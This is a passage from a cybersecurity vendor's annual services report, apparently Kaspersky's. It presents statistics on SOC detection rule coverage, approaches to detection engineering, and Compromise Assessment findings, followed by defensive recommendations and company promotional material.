Some of the most common and systemic issues we have observed are highlighted later in this section. But to better understand the data that follows, let's first take a look at the scope of SOC Consulting projects in 2025.

CIS
52.4%
Europe
8.3%
META
37.6%
APAC
1.7%



Finance
Government
Retail
Transportation
Industrial
Telecom
Mass Media



Event sources and rules coverage

At the outset, we present key statistics on the various data sources that ingest telemetry into the SOC data platform. In line with the principle that telemetry should be collected with a defined purpose, we also assess how effectively the ingested data is covered by existing detection logic.


5 – 70+

The range in the number of different event sources available to individual SOC's.

[5-30]
[30-50]
[50-70+]

We have divided all SOC's into 3 equal groups according to the number of unique event source types they ingest.

Rules coverage % depending on different event source types



Coverage of the event source by detection logic.

The first two groups have almost the same average coverage of event types of between 40-60%.

Those SOC's with high numbers of different sources are only writing detection logic rules to cover around 30% of the total amount of data available to them.

Collected events alone are, in most cases, only useful for investigating an incident that has already been identified. For a SIEM to operate to its full potential, detection logic must be developed to uncover probable security incidents.

Problem: The mean correlation rule coverage of sources, determined across all our assessments, is 43%²⁵.

So we can see that, at best, most SOC's are able to leverage only around half the data available to them for threat detection.

Sources not covered tend to be network telemetry, databases and web servers. This seems to demonstrate a management tendency to collect all available data for compliance purposes in accordance with external regulations or internal policies, without a clear understanding of how to obtain value from it.

Another possible explanation is that data is collected for possible future investigations, which in most cases never come to fruition.

Most SOC's use a single platform for collecting data — the SIEM. Only 1 in 6 SOC's uses 2 or 3 platforms focusing on different functions:



Real-time
correlation



Threat
hunting



Compliance
requirements

Coverage control

Another issue observed in most SOC's is a lack of coverage control.

A question we frequently encounter is "How many detection rules should today's SOC maintain?" This inevitably raises the follow-up question "Should organizations rely on vendor-provided detection logic, or invest in developing their own?"

In practice, we've identified three categories of customer SOC's, each adopting a combination of 3 different approaches:

	Self-development	Vendor followers	EDR followers
Popularity	~40%	~50%	~10%
Description	Most of the rules are developed from scratch — vendor rules are used as an example	Average number of custom rules	Small number of rules in SIEM or XDR platform. Mainly reliant on EDR detects
Number of active SIEM/XDR rules	200 - 2000 Average 350+	500-900 Average 650	< 100
Ratio of custom rules in SIEM/XDR	80-100%	<25%	80-100%
MITRE coverage measurement	20%	80%	80%

As a general observation, teams appear to be choosing between two methodologies — either developing everything from scratch or relying on vendor rules. There are almost no cases of a middle way being adopted. This observation aligns directly with detection engineering practices in mature SOC's, which follow an 'own content development' approach.

Teams that rely primarily on vendor-provided detection rules often face a lack of proper tuning and customization for their specific infrastructure. In most cases, this results in elevated false-positive rates and, in some scenarios, gaps in detection coverage.

EDR followers also usually develop rules from scratch, mainly compensating for the lack of EDR capability for cross correlation or 3rd party source coverage.

Detection coverage management

How do we measure detection coverage? The obvious answer usually "With the MITRE ATT&CK matrix".

In most cases, where the product has this functionality and taxonomy (i.e. in SIEM/XDR/EDR/NTA solutions), a MITRE ATT&CK based approach is adopted. Most SOC's (>80%) who rely on vendor content follow this taxonomy to measure threat detection coverage.



Less than 20% of SOC's, following a self-development detection logic approach, adopt MITRE detection measurement as a unified approach across all SOC detection engines.

The TOP-3 most widely uncovered detection coverage issues have been:



Missing or degraded coverage of the infrastructure

A lack of SOC coverage management or the continuous tracking of the protected infrastructure. In most cases, the SOC's initial coverage scope is defined during the design stage but is not continuously monitored during day-to-day operations. Over time, this leads to inconsistent coverage of the protected infrastructure and the emergence of blind spots for the security monitoring team.



Coverage of detection rules by event sources

In the majority of cases, SOC's limit threat detection to a small set of well-known telemetry sources, while the remaining data is collected without adequate detection logic coverage. As the number and diversity of data sources increases, overall detection coverage typically degrades rather than improves.



Default rules with no tuning — simply utilizing the vendor package

Teams with a lack of detection engineering practice experience, and so reliant on the vendor package, often face a lack of proper tuning and customization for their specific infrastructure. In most cases, this results in elevated false-positive rates and, in some scenarios, gaps in detection coverage.


Chapter VIII

Detection gaps and hidden compromise



Detection gaps and hidden compromise

Kaspersky Compromise Assessment bridges the gap between Managed Detection and Response and Incident Response services. An MDR solution requires the use of Kaspersky products. IR services are typically reactive, initiated only after compromise artifacts have been identified. Like IR, Compromise Assessment is a forensic investigation service. But unlike IR, our Compromise Assessment service leverages MDR technologies to offer a more flexible and proactive approach. The availability of Kaspersky endpoint products is not mandatory for our Compromise Assessment solution, and the project can commence even in the absence of objective signs of compromise, providing enhanced protection and peace of mind.



Compromise Assessment customers


All compromise assessment projects finalized in 2025 were delivered across three macro regions: CIS, APAC and META. The distribution of reported incidents in each region and industry is illustrated below.




CIS
9.9%

APAC
24.8%

META
65.2%



Compromise Assessment can be requested for a number of reasons, in response to various interests and business needs. The most common scenarios are:



Detection and investigation efforts

In Compromise Assessment, as with MDR, we use IoAs. Detection logic can be roughly divided into simplified families. The efficiency of detection logic families based on incidents detected in Compromise Assessment projects during 2025 is shown below.


Credentials from dumps	12.4%	Many LotL tools detected	4.3%	Domain from known C2	2.5%	General weak configuration	1.2%
Special LotL tool	11.2%	Accessibility features backdoor	3.7%	Many malware detected	1.9%	Risky behaviour on cloud storage	0.6%
Special malware	11.2%	Audit policy weak configuration	3.7%	Many vulnerabilities found	1.9%	Unusual VPN logins	0.6%
Webshell detection	8.1%	Many detections on suspicious activity	3.1%	IP from known C2	1.2%	Vulnerable AD configuration from the ways for PrivEsc analysis	0.6%
Remote management tools	7.5%	Many suspicious files	3.1%	Risky behaviour from user	1.2%		
Credentials from leaks	6.2%	Miner	3.1%	Risky behaviour from privileged account	1.2%		
Many PUPs detected	5.0%	Vulnerable AD configuration from the GPO analysis	3.1%	AD weak configuration	1.2%		

We can conduct Compromise Assessment projects regardless of whether Kaspersky products are deployed. If they are, we can reuse the MDR technology tool stack for data collection (the data source is MDR). If not, a specialized proprietary utility is used for data collection. Compromise Assessment also includes additional data sources, like Digital Footprint Intelligence²⁶ findings for the client, the analysis of Active Directory configuration and in some cases the use of network perimeter and VPN logs. The efficiency of data sources based on statistics of detected incidents is shown below.

Both MDR and Compromise Assessment also include manual threat hunting, and both feature incidents that were detected during manual threat hunting processes. All incidents detected manually are thoroughly studied and appropriate detection logic is introduced. **In 2025, almost 18.6% of detected incidents were found manually.**

Endpoint sensors continue to be the most efficient form of sensor, but 4% of incidents in 2025 were detected by analysis of network traffic.


Compromise Assessment projects include an incident response stage where all valid threats are scoped and contained. Forensics and reverse engineering are often required at this stage. According to 2025 statistics, forensic examination was required in 53% of incidents and was found to be desirable but optional in a further 7%. Reverse engineering, where the suspicious file was requested for analysis, was required in 12% of cases.



The nature of incidents

In Compromise Assessment, detected incidents can be related to different types of suspicious or malicious activity. The bar chart below shows the frequency of typical reasons for reporting incidents during 2025.

Figure 24 Distribution and frequency of tools used in incidents



Recommendations

During 2025, the number of high-severity incidents reported decreased by 19% compared to 2024. This is driven by MDR efficiency, identifying and stopping threats earlier in the detection chain. At the same time, the mean time to investigate and report decreased by 22% for high-severity incidents and by 21% for medium-severity, indicating a rise in the effectiveness of Security Operations Center (SOC) teams.

Human-driven targeted attacks accounted for 23% of high-severity incidents in 2025. Although this is lower than in 2024, such attacks remain the leading cause of high-severity incidents in MDR statistics. Despite advances in automated detection tools, motivated attackers continue to find ways to bypass defenses.

To counter human-driven attacks, human-led solutions like MDR and Incident Response remain critical.

Organizations operating their own in-house SOC must ensure that internal processes and technologies are fully aligned with today's threat landscape. **Comprehensive SOC consulting services can support this objective.**

Beyond adopting MDR and IR services or building an in-house SOC, organizations can achieve further efficiency gains through highly automated, specialized tools such as Extended Detection and Response (XDR).

The data shows that attackers often return after a successful attack. This pattern is especially evident in government organizations, where adversaries aim at long-term persistence for espionage purposes. In 2025, we observed an increase in human-driven attacks in Telecoms and IT, confirming the growing focus on supply-chain and trusted-relationship attacks.

In these scenarios, combining an XDR-enabled in-house SOC and/or outsourced services like MDR with regular Compromise Assessments is an efficient strategy for detecting and investigating incidents that bypass existing security controls.

Attackers often use LotL (Living off the Land) techniques when targeting infrastructures that lack robust configuration controls. A significant number of incidents are linked to unauthorized changes, such as adding accounts to privileged groups or weakening secure configurations. Account Manipulation²⁷ was the most frequently used technique in 2025, according to MDR statistics. To reduce false positives in these scenarios, organizations must implement effective configuration management alongside formal change and access management procedures.

In 2025, User Execution²⁸ and Phishing²⁹ techniques again ranked among the TOP-3 threats, demonstrating that users are still the weakest link and underscoring **the importance of Security Awareness as a central pillar of corporate information security planning.**

²⁷ MITRE ATT&CK. T1098: Account Manipulation

²⁸ MITRE ATT&CK. T1204 User Execution

²⁹ MITRE ATT&CK. T1566 Phishing

About Kaspersky

Kaspersky is a global cybersecurity and digital privacy company founded in 1997. Our deep threat intelligence and security expertise is constantly transforming into innovative security solutions and services to protect businesses, critical infrastructure, governments and consumers around the globe. Our comprehensive security portfolio includes leading endpoint protection and specialized security solutions and services to fight sophisticated and evolving digital threats.

5,500+

highly-qualified specialists
work at Kaspersky

50%

of our employees are R&D
specialists

~200k

corporate customers
worldwide

500,000

malicious files detected
by Kaspersky every day

5.3 bln

cyberattacks detected
by Kaspersky in 2025

5


unique centers
of expertise

Expertise
Centers



Kaspersky Security Services

Renowned for delivering Security Services globally, the team goes beyond customer engagements, uncovering new TTPs, enriching the MITRE ATT&CK framework, developing proprietary tools and enhancing detection capabilities in Kaspersky products. They also share their expertise through webinars, reports and training to help professionals stay ahead of threats.



Global recognition

Kaspersky products and solutions undergo constant independent testing and reviews, routinely achieving top results, recognition and awards. Our technologies and processes are regularly assessed and verified by the world's most respected analyst organizations. Most tested. Most awarded.

Global Report by Kaspersky Security Services

#kaspersky
#truetobusiness

Anatomy of a Cyber World

kaspersky

www.kaspersky.com

© 2026 AO Kaspersky Lab. Registered trademarks and service marks are the property of their respective owners.